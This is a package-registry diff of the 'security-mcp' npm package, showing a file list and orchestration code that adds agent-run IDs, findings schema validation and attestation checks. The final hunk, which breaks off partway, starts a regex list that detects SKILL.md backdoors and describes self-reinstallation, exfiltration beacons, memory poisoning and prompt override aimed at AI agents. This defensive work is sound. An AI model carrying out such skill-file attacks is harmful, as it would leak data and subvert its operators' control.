security-mcp 1.1.4 → 1.3.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +341 -1018
- package/defaults/checklists/ai.json +20 -1
- package/defaults/checklists/api.json +35 -1
- package/defaults/checklists/infra.json +34 -1
- package/defaults/checklists/mobile.json +23 -1
- package/defaults/checklists/payments.json +15 -1
- package/defaults/checklists/web.json +11 -1
- package/defaults/cloud-controls/aws.json +10712 -0
- package/defaults/cloud-controls/azure.json +7201 -0
- package/defaults/cloud-controls/gcp.json +4061 -0
- package/defaults/control-catalog.json +24 -0
- package/defaults/security-policy.json +2 -2
- package/dist/ci/pr-gate.js +22 -5
- package/dist/cli/index.js +73 -2
- package/dist/cli/install.js +4 -55
- package/dist/cli/onboarding.js +18 -10
- package/dist/gate/baseline.js +82 -7
- package/dist/gate/catalog.js +10 -2
- package/dist/gate/checks/agentic-instructions.js +515 -0
- package/dist/gate/checks/ai-governance.js +132 -0
- package/dist/gate/checks/ai.js +757 -39
- package/dist/gate/checks/auth-deep.js +920 -216
- package/dist/gate/checks/business-logic.js +751 -0
- package/dist/gate/checks/ci-pipeline.js +399 -4
- package/dist/gate/checks/cloud-controls.js +69 -0
- package/dist/gate/checks/crypto.js +423 -2
- package/dist/gate/checks/data-platform.js +954 -0
- package/dist/gate/checks/dependencies.js +582 -15
- package/dist/gate/checks/docker-deep.js +1236 -0
- package/dist/gate/checks/gitops.js +724 -0
- package/dist/gate/checks/graphql.js +201 -19
- package/dist/gate/checks/iac.js +1230 -0
- package/dist/gate/checks/infra.js +246 -1
- package/dist/gate/checks/injection-deep.js +827 -184
- package/dist/gate/checks/k8s.js +955 -2
- package/dist/gate/checks/mobile-android.js +917 -3
- package/dist/gate/checks/mobile-ios.js +797 -5
- package/dist/gate/checks/required-artifacts.js +194 -0
- package/dist/gate/checks/runtime.js +178 -0
- package/dist/gate/checks/secrets.js +256 -13
- package/dist/gate/checks/supply-chain-deep.js +787 -0
- package/dist/gate/checks/web-nextjs.js +572 -48
- package/dist/gate/cloud-controls/apply.js +115 -0
- package/dist/gate/cloud-controls/bicep.js +36 -0
- package/dist/gate/cloud-controls/cfn.js +125 -0
- package/dist/gate/cloud-controls/detect.js +104 -0
- package/dist/gate/cloud-controls/hcl.js +140 -0
- package/dist/gate/cloud-controls/types.js +87 -0
- package/dist/gate/diff.js +17 -5
- package/dist/gate/evidence.js +8 -1
- package/dist/gate/exceptions.js +202 -9
- package/dist/gate/findings.js +15 -2
- package/dist/gate/policy.js +316 -130
- package/dist/gate/threat-intel.js +6 -0
- package/dist/mcp/audit-chain.js +131 -28
- package/dist/mcp/auth.js +169 -0
- package/dist/mcp/learning.js +129 -4
- package/dist/mcp/model-router.js +161 -24
- package/dist/mcp/orchestration.js +377 -89
- package/dist/mcp/server.js +460 -69
- package/dist/mcp/tool-audit.js +193 -0
- package/dist/repo/fs.js +37 -1
- package/dist/repo/search.js +31 -6
- package/dist/review/store.js +56 -3
- package/dist/tests/run.js +124 -1
- package/package.json +9 -9
- package/skills/_TEMPLATE/SKILL.md +99 -0
- package/skills/advanced-dos-tester/SKILL.md +118 -0
- package/skills/agentic-instruction-auditor/SKILL.md +111 -0
- package/skills/agentic-loop-exploiter/SKILL.md +377 -0
- package/skills/ai-llm-redteam/SKILL.md +113 -0
- package/skills/ai-model-supply-chain-agent/SKILL.md +112 -0
- package/skills/algorithm-implementation-reviewer/SKILL.md +107 -0
- package/skills/android-penetration-tester/SKILL.md +464 -46
- package/skills/anti-replay-tester/SKILL.md +115 -0
- package/skills/appsec-code-auditor/SKILL.md +94 -0
- package/skills/artifact-integrity-analyst/SKILL.md +450 -0
- package/skills/attack-navigator/SKILL.md +476 -8
- package/skills/auth-session-hacker/SKILL.md +111 -0
- package/skills/aws-penetration-tester/SKILL.md +510 -0
- package/skills/azure-penetration-tester/SKILL.md +542 -3
- package/skills/binary-auth-validator/SKILL.md +120 -0
- package/skills/bot-detection-specialist/SKILL.md +118 -0
- package/skills/business-logic-attacker/SKILL.md +240 -0
- package/skills/capec-code-mapper/SKILL.md +93 -0
- package/skills/cert-pin-rotation-specialist/SKILL.md +121 -0
- package/skills/cicd-pipeline-hijacker/SKILL.md +414 -0
- package/skills/ciso-orchestrator/SKILL.md +465 -43
- package/skills/cloud-infra-specialist/SKILL.md +127 -0
- package/skills/compliance-gap-analyst/SKILL.md +431 -0
- package/skills/compliance-grc/SKILL.md +94 -0
- package/skills/compliance-lifecycle-tracker/SKILL.md +93 -0
- package/skills/container-hardening-auditor/SKILL.md +125 -0
- package/skills/credential-stuffing-specialist/SKILL.md +111 -0
- package/skills/crypto-pki-specialist/SKILL.md +96 -0
- package/skills/csa-ccm-mapper/SKILL.md +93 -0
- package/skills/csf2-governance-mapper/SKILL.md +93 -0
- package/skills/data-platform-auditor/SKILL.md +125 -0
- package/skills/deep-link-fuzzer/SKILL.md +118 -0
- package/skills/dependency-confusion-attacker/SKILL.md +424 -0
- package/skills/device-integrity-aggregator/SKILL.md +117 -0
- package/skills/dos-resilience-tester/SKILL.md +106 -0
- package/skills/dread-scorer/SKILL.md +93 -0
- package/skills/egress-policy-enforcer/SKILL.md +108 -0
- package/skills/evidence-collector/SKILL.md +107 -0
- package/skills/file-upload-attacker/SKILL.md +118 -0
- package/skills/gcp-penetration-tester/SKILL.md +510 -2
- package/skills/git-history-secret-scanner/SKILL.md +115 -0
- package/skills/gitops-delivery-auditor/SKILL.md +120 -0
- package/skills/iac-security-auditor/SKILL.md +125 -0
- package/skills/iam-privesc-graph-builder/SKILL.md +161 -0
- package/skills/incident-responder/SKILL.md +120 -0
- package/skills/injection-specialist/SKILL.md +111 -0
- package/skills/ios-security-auditor/SKILL.md +291 -0
- package/skills/json-ambiguity-tester/SKILL.md +145 -0
- package/skills/k8s-container-escaper/SKILL.md +406 -0
- package/skills/key-management-lifecycle-analyst/SKILL.md +107 -0
- package/skills/kill-switch-engineer/SKILL.md +111 -0
- package/skills/linddun-privacy-analyst/SKILL.md +111 -0
- package/skills/logic-race-fuzzer/SKILL.md +452 -0
- package/skills/mobile-api-network-attacker/SKILL.md +430 -0
- package/skills/mobile-binary-hardener/SKILL.md +111 -0
- package/skills/mobile-security-specialist/SKILL.md +94 -0
- package/skills/mobile-webview-auditor/SKILL.md +105 -0
- package/skills/model-extraction-attacker/SKILL.md +228 -0
- package/skills/multipart-abuse-tester/SKILL.md +93 -0
- package/skills/oauth-pkce-specialist/SKILL.md +113 -0
- package/skills/parser-exhaustion-tester/SKILL.md +151 -0
- package/skills/pentest-infra/SKILL.md +107 -0
- package/skills/pentest-social/SKILL.md +210 -0
- package/skills/pentest-team/SKILL.md +96 -0
- package/skills/pentest-web-api/SKILL.md +107 -0
- package/skills/privacy-flow-analyst/SKILL.md +243 -0
- package/skills/prompt-injection-specialist/SKILL.md +403 -0
- package/skills/quantum-migration-planner/SKILL.md +105 -0
- package/skills/rag-poisoning-specialist/SKILL.md +367 -0
- package/skills/registry-mirror-enforcer/SKILL.md +93 -0
- package/skills/rotation-validation-agent/SKILL.md +121 -0
- package/skills/samm-assessor/SKILL.md +94 -0
- package/skills/secrets-mask-bypass-tester/SKILL.md +109 -0
- package/skills/senior-security-engineer/SKILL.md +178 -0
- package/skills/serialization-memory-attacker/SKILL.md +341 -0
- package/skills/session-timeout-tester/SKILL.md +170 -0
- package/skills/slsa-level3-enforcer/SKILL.md +121 -0
- package/skills/slsa-provenance-enforcer/SKILL.md +111 -0
- package/skills/ssrf-detection-validator/SKILL.md +117 -0
- package/skills/step-up-auth-enforcer/SKILL.md +93 -0
- package/skills/stride-pasta-analyst/SKILL.md +429 -0
- package/skills/supply-chain-devsecops/SKILL.md +107 -0
- package/skills/threat-infrastructure-analyst/SKILL.md +93 -0
- package/skills/threat-modeler/SKILL.md +94 -0
- package/skills/tls-certificate-auditor/SKILL.md +582 -18
- package/skills/token-reuse-detector/SKILL.md +104 -0
- package/skills/trike-risk-modeler/SKILL.md +93 -0
- package/skills/unicode-homograph-tester/SKILL.md +93 -0
- package/skills/waf-rule-lifecycle-agent/SKILL.md +106 -0
- package/skills/webhook-security-tester/SKILL.md +111 -0
- package/skills/zero-trust-architect/SKILL.md +118 -0
|
@@ -12,14 +12,16 @@
|
|
|
12
12
|
* 8. orchestration.apply_updates — run auto-update (auto | manual)
|
|
13
13
|
* 9. orchestration.verify_skill_coverage — report uncovered SKILL.md sections
|
|
14
14
|
*/
|
|
15
|
-
import { createHash } from "node:crypto";
|
|
15
|
+
import { createHash, randomBytes } from "node:crypto";
|
|
16
16
|
import * as https from "node:https";
|
|
17
17
|
import { mkdir, readFile, writeFile, readdir } from "node:fs/promises";
|
|
18
18
|
import { existsSync, readFileSync, writeFileSync, renameSync, mkdirSync } from "node:fs";
|
|
19
19
|
import { homedir } from "node:os";
|
|
20
|
-
import { dirname, join } from "node:path";
|
|
20
|
+
import { dirname, join, resolve } from "node:path";
|
|
21
|
+
import { fileURLToPath } from "node:url";
|
|
21
22
|
import { z } from "zod";
|
|
22
23
|
import { updateReviewStep } from "../review/store.js";
|
|
24
|
+
import { getChain, verifyChain, computeFindingsHash } from "./audit-chain.js";
|
|
23
25
|
// ---------------------------------------------------------------------------
|
|
24
26
|
// Constants
|
|
25
27
|
// ---------------------------------------------------------------------------
|
|
@@ -28,7 +30,18 @@ const MEMORY_DIR = join(homedir(), ".security-mcp", "agent-memory");
|
|
|
28
30
|
const SKILL_VERSIONS_PATH = join(homedir(), ".security-mcp", "skill-versions.json");
|
|
29
31
|
const SKILLS_MANIFEST_URL = "https://raw.githubusercontent.com/AbrahamOO/security-mcp/main/skills-manifest.json";
|
|
30
32
|
const CLAUDE_SKILLS_DIR = join(homedir(), ".claude", "skills");
|
|
33
|
+
// Skills ship INSIDE the npm package (package.json `files` includes "skills/").
|
|
34
|
+
// The installed package is the consumer's trust root, so ensure_skill prefers the
|
|
35
|
+
// bundled copy over any network download — this closes the trust-on-first-use gap
|
|
36
|
+
// where a skill's integrity hash and its content both came from the same unsigned
|
|
37
|
+
// remote manifest over the same channel (a MITM/compromised host could serve both).
|
|
38
|
+
const BUNDLED_SKILLS_DIR = resolve(dirname(fileURLToPath(import.meta.url)), "../../skills");
|
|
39
|
+
// CWE-494: Pin the registry URL to the canonical npm registry. Never allow
|
|
40
|
+
// this to be overridden by env vars — a compromised env could redirect to a
|
|
41
|
+
// malicious registry.
|
|
31
42
|
const NPM_REGISTRY_URL = "https://registry.npmjs.org/security-mcp/latest";
|
|
43
|
+
// Strict SemVer pattern — rejects any version string that doesn't conform.
|
|
44
|
+
const SEMVER_RE = /^\d{1,5}\.\d{1,5}\.\d{1,5}(?:-[\w.+]+)?$/;
|
|
32
45
|
// CWE-22: input validation patterns for path components
|
|
33
46
|
const SAFE_SKILL_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,127}$/;
|
|
34
47
|
const SAFE_AGENT_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,127}$/;
|
|
@@ -39,18 +52,24 @@ const ALLOWED_SKILL_URL_PREFIX = "https://raw.githubusercontent.com/";
|
|
|
39
52
|
const MAX_MANIFEST_BYTES = 256 * 1024; // 256 KB
|
|
40
53
|
const MAX_SKILL_BYTES = 512 * 1024; // 512 KB
|
|
41
54
|
const MAX_NPM_BYTES = 64 * 1024; // 64 KB
|
|
42
|
-
// All SKILL.md sections that must be covered per run
|
|
55
|
+
// All SKILL.md sections that must be covered per run.
|
|
56
|
+
// §EDGE-CASE-MATRIX, §TEMPORAL-THREATS, §DETECTION-GAP, §ZERO-MISS-MANDATE are the
|
|
57
|
+
// four universal sections added to every skill; coverage verification tracks them too.
|
|
43
58
|
const SKILL_MD_SECTIONS = [
|
|
44
59
|
"§1", "§2", "§3", "§4", "§5", "§6", "§7", "§8",
|
|
45
60
|
"§9", "§10", "§11", "§12", "§13", "§14", "§15",
|
|
46
61
|
"§16", "§17", "§18", "§19", "§20", "§21", "§22",
|
|
47
|
-
"§23", "§24"
|
|
62
|
+
"§23", "§24",
|
|
63
|
+
"§EDGE-CASE-MATRIX",
|
|
64
|
+
"§TEMPORAL-THREATS",
|
|
65
|
+
"§DETECTION-GAP",
|
|
66
|
+
"§ZERO-MISS-MANDATE"
|
|
48
67
|
];
|
|
49
68
|
// ---------------------------------------------------------------------------
|
|
50
69
|
// Internal helpers
|
|
51
70
|
// ---------------------------------------------------------------------------
|
|
52
71
|
async function ensureDir(p) {
|
|
53
|
-
await mkdir(p, { recursive: true });
|
|
72
|
+
await mkdir(p, { recursive: true, mode: 0o700 });
|
|
54
73
|
}
|
|
55
74
|
function agentRunDir(agentRunId) {
|
|
56
75
|
// CWE-22: agentRunId must be the 32-char hex digest produced by createAgentRun
|
|
@@ -68,7 +87,7 @@ async function readManifest(agentRunId) {
|
|
|
68
87
|
}
|
|
69
88
|
async function writeManifest(manifest) {
|
|
70
89
|
manifest.updatedAt = new Date().toISOString();
|
|
71
|
-
await writeFile(manifestPath(manifest.agentRunId), JSON.stringify(manifest, null, 2) + "\n", "utf-8");
|
|
90
|
+
await writeFile(manifestPath(manifest.agentRunId), JSON.stringify(manifest, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
|
|
72
91
|
}
|
|
73
92
|
function defaultAgentRecord() {
|
|
74
93
|
return {
|
|
@@ -198,8 +217,11 @@ export const CreateAgentRunSchema = z.object({
|
|
|
198
217
|
});
|
|
199
218
|
export async function createAgentRun(args) {
|
|
200
219
|
const { runId, scope, internetPermitted, stackContext } = args;
|
|
220
|
+
// Use 16 bytes of CSPRNG entropy (not Date.now()) so the ID cannot be
|
|
221
|
+
// predicted or brute-forced even when runId is known.
|
|
201
222
|
const agentRunId = createHash("sha256")
|
|
202
|
-
.update(`${runId}
|
|
223
|
+
.update(`${runId}:`)
|
|
224
|
+
.update(randomBytes(16))
|
|
203
225
|
.digest("hex")
|
|
204
226
|
.slice(0, 32);
|
|
205
227
|
await ensureDir(agentRunDir(agentRunId));
|
|
@@ -221,10 +243,12 @@ export async function createAgentRun(args) {
|
|
|
221
243
|
// ---------------------------------------------------------------------------
|
|
222
244
|
export const UpdateAgentStatusSchema = z.object({
|
|
223
245
|
agentRunId: z.string().describe("Agent run ID from orchestration.create_agent_run."),
|
|
224
|
-
|
|
246
|
+
// CWE-22: constrain agentName to the same safe-name pattern used in path operations
|
|
247
|
+
agentName: z.string().regex(SAFE_AGENT_NAME_RE, "agentName must be alphanumeric with ._- separators").describe("Name of the agent updating its status."),
|
|
225
248
|
status: z.enum(["running", "completed", "completed_partial", "failed"]),
|
|
226
|
-
|
|
227
|
-
|
|
249
|
+
// CWE-22: findingsPath is stored in the manifest and may later be used as a path — restrict to safe relative path
|
|
250
|
+
findingsPath: z.string().regex(/^[a-zA-Z0-9][\w./,-]{0,255}$/, "findingsPath must be a safe relative path").optional().describe("Relative path to the agent findings JSON file."),
|
|
251
|
+
summary: z.string().max(500).optional().describe("One-line outcome summary.")
|
|
228
252
|
});
|
|
229
253
|
export async function updateAgentStatus(args) {
|
|
230
254
|
const { agentRunId, agentName, status, findingsPath, summary } = args;
|
|
@@ -267,6 +291,46 @@ export async function updateAgentStatus(args) {
|
|
|
267
291
|
}
|
|
268
292
|
// 3. merge_agent_findings
|
|
269
293
|
// ---------------------------------------------------------------------------
|
|
294
|
+
// CWE-20 / inter-agent payload integrity: strict schema for an agent findings file.
|
|
295
|
+
// mergeAgentFindings is the single trust sink for an entire run, so every agent's
|
|
296
|
+
// file is schema-validated AND its findings hash is matched against that agent's
|
|
297
|
+
// signed attestation before any of it reaches the merged gate result.
|
|
298
|
+
const AgentFindingSchema = z.object({
|
|
299
|
+
id: z.string().min(1).max(128),
|
|
300
|
+
title: z.string().min(1).max(500),
|
|
301
|
+
severity: z.enum(["LOW", "MEDIUM", "HIGH", "CRITICAL"]),
|
|
302
|
+
cwe: z.string().max(64).optional(),
|
|
303
|
+
attackTechnique: z.string().max(128).optional(),
|
|
304
|
+
cvssV4: z.number().min(0).max(10).optional(),
|
|
305
|
+
exploitChain: z.array(z.string().max(1000)).max(100).optional(),
|
|
306
|
+
files: z.array(z.string().max(1024)).max(500).optional(),
|
|
307
|
+
evidence: z.array(z.string().max(4000)).max(200).optional(),
|
|
308
|
+
remediated: z.boolean(),
|
|
309
|
+
remediationSummary: z.string().max(4000).optional(),
|
|
310
|
+
requiredActions: z.array(z.string().max(2000)).max(200),
|
|
311
|
+
complianceImpact: z.object({
|
|
312
|
+
pciDss: z.array(z.string().max(128)).max(200).optional(),
|
|
313
|
+
soc2: z.array(z.string().max(128)).max(200).optional(),
|
|
314
|
+
nist80053: z.array(z.string().max(128)).max(200).optional(),
|
|
315
|
+
iso27001: z.array(z.string().max(128)).max(200).optional(),
|
|
316
|
+
gdpr: z.array(z.string().max(128)).max(200).optional(),
|
|
317
|
+
hipaa: z.array(z.string().max(128)).max(200).optional()
|
|
318
|
+
}).optional(),
|
|
319
|
+
beyondSkillMd: z.boolean().optional()
|
|
320
|
+
});
|
|
321
|
+
const AgentFindingsFileSchema = z.object({
|
|
322
|
+
agentName: z.string().regex(SAFE_AGENT_NAME_RE).optional(),
|
|
323
|
+
agentRunId: z.string().max(128).optional(),
|
|
324
|
+
completedAt: z.string().max(64).optional(),
|
|
325
|
+
internetUsed: z.boolean().optional(),
|
|
326
|
+
memoryUpdated: z.boolean().optional(),
|
|
327
|
+
skillMdSectionsCovered: z.array(z.string().max(64)).max(64).optional(),
|
|
328
|
+
beyondSkillMd: z.array(z.string().max(500)).max(200).optional(),
|
|
329
|
+
summary: z.string().max(4000).optional(),
|
|
330
|
+
findings: z.array(AgentFindingSchema).max(5000),
|
|
331
|
+
remediatedCount: z.number().optional(),
|
|
332
|
+
openCount: z.number().optional()
|
|
333
|
+
});
|
|
270
334
|
export const MergeAgentFindingsSchema = z.object({
|
|
271
335
|
agentRunId: z.string().describe("Agent run ID."),
|
|
272
336
|
runId: z.string().uuid().describe("Review run ID — used to update the review step record.")
|
|
@@ -288,43 +352,129 @@ export async function mergeAgentFindings(args) {
|
|
|
288
352
|
const agentsPartial = [];
|
|
289
353
|
const sectionsSeen = new Set();
|
|
290
354
|
const beyondSkillMdNotes = [];
|
|
355
|
+
// ── Inter-agent payload integrity (article surface #3) ───────────────────
|
|
356
|
+
// Verify the attestation chain and index each agent's attested findings hash.
|
|
357
|
+
// The chain is the source of truth for "did this agent really produce this
|
|
358
|
+
// output". If the chain itself is tampered, no attestation can be trusted.
|
|
359
|
+
const chainResult = await verifyChain(agentRunId);
|
|
360
|
+
const chain = await getChain(agentRunId);
|
|
361
|
+
const attestedHashByAgent = new Map();
|
|
362
|
+
for (const link of chain.links) {
|
|
363
|
+
if (link.agentName && link.agentName !== "genesis") {
|
|
364
|
+
attestedHashByAgent.set(link.agentName, link.findingsHash); // last attestation wins
|
|
365
|
+
}
|
|
366
|
+
}
|
|
367
|
+
const chainHasAttestations = attestedHashByAgent.size > 0;
|
|
368
|
+
const chainInvalid = chainHasAttestations && !chainResult.valid;
|
|
369
|
+
const verificationMode = chainInvalid ? "chain_invalid" : chainHasAttestations ? "enforced" : "unattested";
|
|
370
|
+
const attestedAgents = [];
|
|
371
|
+
const rejectedAgents = [];
|
|
372
|
+
let tamperDetected = chainInvalid;
|
|
373
|
+
// Read the manifest once (not per-file) for covered/partial classification.
|
|
374
|
+
const manifest = await readManifest(agentRunId);
|
|
291
375
|
for (const file of files) {
|
|
376
|
+
let parsed;
|
|
377
|
+
let rawFindings;
|
|
378
|
+
let agentName;
|
|
292
379
|
try {
|
|
293
380
|
const raw = await readFile(join(dir, file), "utf-8");
|
|
294
|
-
const
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
}
|
|
302
|
-
else {
|
|
303
|
-
agentsCovered.push(parsed.agentName);
|
|
304
|
-
}
|
|
305
|
-
}
|
|
306
|
-
for (const s of (parsed.skillMdSectionsCovered ?? []))
|
|
307
|
-
sectionsSeen.add(s);
|
|
308
|
-
for (const n of (parsed.beyondSkillMd ?? []))
|
|
309
|
-
beyondSkillMdNotes.push(n);
|
|
381
|
+
const rawObj = JSON.parse(raw);
|
|
382
|
+
// CWE-20: strict schema validation BEFORE the payload is trusted downstream.
|
|
383
|
+
parsed = AgentFindingsFileSchema.parse(rawObj);
|
|
384
|
+
// Hash the raw (pre-zod) findings so the digest matches exactly what the
|
|
385
|
+
// agent serialized when it called security.attest_agent.
|
|
386
|
+
rawFindings = (rawObj.findings ?? []);
|
|
387
|
+
agentName = parsed.agentName;
|
|
310
388
|
}
|
|
311
389
|
catch {
|
|
312
|
-
// Corrupted file — skip, note partial
|
|
390
|
+
// Corrupted or schema-invalid file — skip, note partial.
|
|
313
391
|
agentsPartial.push(file.replace(".json", ""));
|
|
392
|
+
continue;
|
|
393
|
+
}
|
|
394
|
+
// Reject anything we cannot cryptographically trust when attestations are in use.
|
|
395
|
+
const label = agentName ?? file.replace(".json", "");
|
|
396
|
+
if (verificationMode === "chain_invalid") {
|
|
397
|
+
rejectedAgents.push(`${label} (chain-invalid)`);
|
|
398
|
+
continue;
|
|
399
|
+
}
|
|
400
|
+
if (verificationMode === "enforced") {
|
|
401
|
+
const expected = agentName ? attestedHashByAgent.get(agentName) : undefined;
|
|
402
|
+
if (!expected) {
|
|
403
|
+
rejectedAgents.push(`${label} (unattested)`);
|
|
404
|
+
continue;
|
|
405
|
+
}
|
|
406
|
+
if (expected !== computeFindingsHash(rawFindings)) {
|
|
407
|
+
rejectedAgents.push(`${label} (hash-mismatch)`);
|
|
408
|
+
tamperDetected = true; // findings changed after the agent signed them
|
|
409
|
+
continue;
|
|
410
|
+
}
|
|
411
|
+
if (agentName)
|
|
412
|
+
attestedAgents.push(agentName);
|
|
314
413
|
}
|
|
414
|
+
allFindings.push(...parsed.findings);
|
|
415
|
+
if (parsed.agentName) {
|
|
416
|
+
const rec = manifest.agents[parsed.agentName];
|
|
417
|
+
if (rec?.status === "completed_partial") {
|
|
418
|
+
agentsPartial.push(parsed.agentName);
|
|
419
|
+
}
|
|
420
|
+
else {
|
|
421
|
+
agentsCovered.push(parsed.agentName);
|
|
422
|
+
}
|
|
423
|
+
}
|
|
424
|
+
for (const s of (parsed.skillMdSectionsCovered ?? []))
|
|
425
|
+
sectionsSeen.add(s);
|
|
426
|
+
for (const n of (parsed.beyondSkillMd ?? []))
|
|
427
|
+
beyondSkillMdNotes.push(n);
|
|
315
428
|
}
|
|
316
|
-
// Deduplicate by id
|
|
317
|
-
|
|
318
|
-
const deduped = allFindings.filter((f) => {
|
|
319
|
-
if (seen.has(f.id))
|
|
320
|
-
return false;
|
|
321
|
-
seen.add(f.id);
|
|
322
|
-
return true;
|
|
323
|
-
});
|
|
324
|
-
// Sort: CRITICAL > HIGH > MEDIUM > LOW
|
|
429
|
+
// Deduplicate by id — on collision keep the HIGHEST severity so a malicious or
|
|
430
|
+
// mislabeled low-severity finding cannot shadow a real CRITICAL that shares its id.
|
|
325
431
|
const severityOrder = { CRITICAL: 0, HIGH: 1, MEDIUM: 2, LOW: 3 };
|
|
432
|
+
const byId = new Map();
|
|
433
|
+
for (const f of allFindings) {
|
|
434
|
+
const prev = byId.get(f.id);
|
|
435
|
+
if (!prev || (severityOrder[f.severity] ?? 3) < (severityOrder[prev.severity] ?? 3)) {
|
|
436
|
+
byId.set(f.id, f);
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
const deduped = Array.from(byId.values());
|
|
440
|
+
// Sort: CRITICAL > HIGH > MEDIUM > LOW
|
|
326
441
|
deduped.sort((a, b) => (severityOrder[a.severity] ?? 3) - (severityOrder[b.severity] ?? 3));
|
|
327
442
|
const uncoveredSections = SKILL_MD_SECTIONS.filter((s) => !sectionsSeen.has(s));
|
|
443
|
+
// Opt-in fail-closed enforcement. An UNSIGNED attestation chain is forgeable by
|
|
444
|
+
// anyone who can write the run directory (the chain hashes are SHA-256 over public
|
|
445
|
+
// data), so "enforced" mode only carries cryptographic weight when the chain is
|
|
446
|
+
// HMAC-signed. Operators who depend on inter-agent integrity set this flag; when
|
|
447
|
+
// set, the run must be signed + enforced + clean or the gate fails closed. Default
|
|
448
|
+
// off preserves backward-compatible behavior for runs that never attested.
|
|
449
|
+
const requireAttestation = ["1", "true", "yes"].includes((process.env.SECURITY_REQUIRE_AGENT_ATTESTATION ?? "").toLowerCase());
|
|
450
|
+
const chainSigned = Boolean(process.env.SECURITY_AUDIT_HMAC_KEY || process.env.SECURITY_POLICY_HMAC_KEY);
|
|
451
|
+
const attestationDeficient = requireAttestation &&
|
|
452
|
+
(verificationMode !== "enforced" || !chainResult.valid || !chainSigned || rejectedAgents.length > 0);
|
|
453
|
+
const warnings = [];
|
|
454
|
+
if (verificationMode === "unattested") {
|
|
455
|
+
warnings.push("No attestation chain present — agent findings were schema-validated but not cryptographically verified. Call security.init_chain + security.attest_agent per agent to enforce inter-agent payload integrity.");
|
|
456
|
+
}
|
|
457
|
+
if (chainInvalid) {
|
|
458
|
+
warnings.push(`Attestation chain failed verification (${chainResult.broken?.reason ?? "unknown"}). All agent findings rejected; gate forced to FAIL.`);
|
|
459
|
+
}
|
|
460
|
+
// Honest reporting: surface verifyChain's unsigned-chain caveat even on the success
|
|
461
|
+
// path so "enforced" is never silently equated with cryptographic guarantee.
|
|
462
|
+
if (chainResult.warning) {
|
|
463
|
+
warnings.push(chainResult.warning);
|
|
464
|
+
}
|
|
465
|
+
if (rejectedAgents.length > 0) {
|
|
466
|
+
warnings.push(`${rejectedAgents.length} agent finding file(s) rejected before merge: ${rejectedAgents.join(", ")}.`);
|
|
467
|
+
}
|
|
468
|
+
if (attestationDeficient) {
|
|
469
|
+
warnings.push("SECURITY_REQUIRE_AGENT_ATTESTATION is set but this run is not a signed + enforced + clean attestation — gate forced to FAIL.");
|
|
470
|
+
}
|
|
471
|
+
const signatureVerification = {
|
|
472
|
+
mode: verificationMode,
|
|
473
|
+
chainValid: chainResult.valid,
|
|
474
|
+
attestedAgents,
|
|
475
|
+
rejectedAgents,
|
|
476
|
+
...(warnings.length > 0 ? { warning: warnings.join(" ") } : {})
|
|
477
|
+
};
|
|
328
478
|
const merged = {
|
|
329
479
|
agentRunId,
|
|
330
480
|
runId,
|
|
@@ -338,15 +488,18 @@ export async function mergeAgentFindings(args) {
|
|
|
338
488
|
low: deduped.filter((f) => f.severity === "LOW").length,
|
|
339
489
|
skillMdSectionsCovered: Array.from(sectionsSeen),
|
|
340
490
|
uncoveredSections,
|
|
341
|
-
findings: deduped
|
|
491
|
+
findings: deduped,
|
|
492
|
+
signatureVerification
|
|
342
493
|
};
|
|
343
494
|
// Write merged-findings.json
|
|
344
495
|
const mergedPath = join(dir, "merged-findings.json");
|
|
345
|
-
await writeFile(mergedPath, JSON.stringify(merged, null, 2) + "\n", "utf-8");
|
|
346
|
-
// Hook into existing attestation flow
|
|
496
|
+
await writeFile(mergedPath, JSON.stringify(merged, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
|
|
497
|
+
// Hook into existing attestation flow. A tampered attestation chain or a
|
|
498
|
+
// findings-hash mismatch (tamperDetected) forces FAIL even with zero findings —
|
|
499
|
+
// a manipulated run must never produce a green gate.
|
|
347
500
|
const hasCritical = merged.critical > 0;
|
|
348
501
|
const hasHigh = merged.high > 0;
|
|
349
|
-
const gateStatus = hasCritical || hasHigh ? "FAIL" : "PASS";
|
|
502
|
+
const gateStatus = tamperDetected || attestationDeficient || hasCritical || hasHigh ? "FAIL" : "PASS";
|
|
350
503
|
await updateReviewStep(runId, "run_pr_gate", "completed", {
|
|
351
504
|
source: "multi-agent-run",
|
|
352
505
|
agentRunId,
|
|
@@ -358,12 +511,75 @@ export async function mergeAgentFindings(args) {
|
|
|
358
511
|
medium: merged.medium,
|
|
359
512
|
low: merged.low,
|
|
360
513
|
uncoveredSkillMdSections: uncoveredSections,
|
|
514
|
+
signatureVerification,
|
|
361
515
|
gateStatus
|
|
362
516
|
});
|
|
363
517
|
return merged;
|
|
364
518
|
}
|
|
365
519
|
// 4. ensure_skill
|
|
366
520
|
// ---------------------------------------------------------------------------
|
|
521
|
+
// ---------------------------------------------------------------------------
|
|
522
|
+
// POC-7 fix: SKILL.md content sanitization
|
|
523
|
+
// ---------------------------------------------------------------------------
|
|
524
|
+
/**
|
|
525
|
+
* Patterns that indicate a backdoor or persistence mechanism in SKILL.md content.
|
|
526
|
+
* These are stripped (line removed) before the file is written to disk.
|
|
527
|
+
*
|
|
528
|
+
* Attack classes defended against:
|
|
529
|
+
* 1. Self-re-installation: instructions telling the agent to call ensure_skill
|
|
530
|
+
* on every invocation so a malicious version survives reinstallation.
|
|
531
|
+
* 2. Exfiltration beacons: instructions to POST/GET findings to external URLs.
|
|
532
|
+
* 3. Memory poisoning: instructions to write arbitrary false-positives entries.
|
|
533
|
+
* 4. System prompt override: attempts to redefine the agent's core instructions
|
|
534
|
+
* via embedded meta-prompt directives.
|
|
535
|
+
*/
|
|
536
|
+
const SKILL_BACKDOOR_PATTERNS = [
|
|
537
|
+
// Re-installation / self-update triggers
|
|
538
|
+
/ensure_skill\s*\(/i,
|
|
539
|
+
/orchestration\.ensure_skill/i,
|
|
540
|
+
/on\s+every\s+(invocation|run|start)/i,
|
|
541
|
+
/at\s+the\s+(start|beginning)\s+of\s+every/i,
|
|
542
|
+
/auto.?update\s+this\s+skill/i,
|
|
543
|
+
// Exfiltration
|
|
544
|
+
/\bfetch\s*\(\s*["'`]https?:\/\/(?!raw\.githubusercontent\.com)/i,
|
|
545
|
+
